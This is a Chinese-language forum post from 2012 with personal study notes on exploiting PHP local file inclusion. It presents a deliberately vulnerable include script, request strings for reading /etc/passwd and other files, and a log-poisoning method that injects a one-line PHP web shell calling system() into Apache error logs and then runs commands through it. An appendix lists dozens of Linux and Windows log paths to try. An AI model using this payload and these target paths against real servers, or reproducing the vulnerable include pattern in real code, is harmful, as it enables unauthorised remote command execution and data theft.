灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:3957回复:0

PHP本地文件包含(LFI)漏洞利用

楼主#
更多 发布于:2012-09-12 06:47

这次学习的主要参考资料是:http://downloads.ackack.net/LocalFileInclusion.pdf

实验代码:

如果是在linux上,直接提交:test.php?for=/etc/passwd即可显示该文件。

<?php
  include($_GET['for'].‘.php’);//用于测试本地包含漏洞
?>



如果是在win上,提交:test.php?for=D:\tools\readme.txt,就可以了,跨目录跨盘符。这里要注意,对于过多的”..\”,360会自动拦截,比较好的办法是使用ie或者ff。

但是光是浏览文件是不够的,我们还需要webshell。可以使用log injection的方法。这也是我作这个记录的主要目的,这才是重点所在。

这里,思想的核心是要将php代码注入到log中,比如,我们可以将:

<?php $s=$_GET;@chdir($s['x']);echo @system($s['y'])?>

注入进去(浏览器的自动更改实在太烦人)。注:friddle2不会对针对本机的访问过滤,我就输入本机的地址:192.168.0.1。

然后访问:test.php?for=/var/log/apache/logs/error_log;x=/;y=uname,这是针对linux。如果平台切换到win,可以访问:test.php?for=..\apache\logs\error.log;x=.y=dir,会显示当前目录文件。

当然,我们也可以将日志记录到access.log里,但那样会更复杂一些,因为需要包含的文件会更大。

参考文献还提到了:使用linux的/proc/self/fd进行注入的方法,我对linux不熟悉,所以也没有细看,以后需要的时候再了解吧。

额外的发现:

360浏览器有个奇怪的特性,当访问http://www.baidu.com/search/error.html../../../../../../tools后,会访问一下目录:D:\Program files\360se\tools 看看有没有这个文件夹,这里有问题吧?TDH

D:\Program files\360se\360se3\http:\apache\logs\error.log;y=dir和http://192.168.0.1:88/test.php?for=..\..\..\apache\logs\error.log;y=dir,这两者之间的关系是怎么得来的?

附录:

1、可能的log路径、

/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/opt/lampp/logs/access_log
/opt/lampp/logs/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/thttpd_log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
C:\apache\logs\access.log
C:\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\program files\wamp\apache2\logs
C:\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log


喜欢0 评分0
游客

返回顶部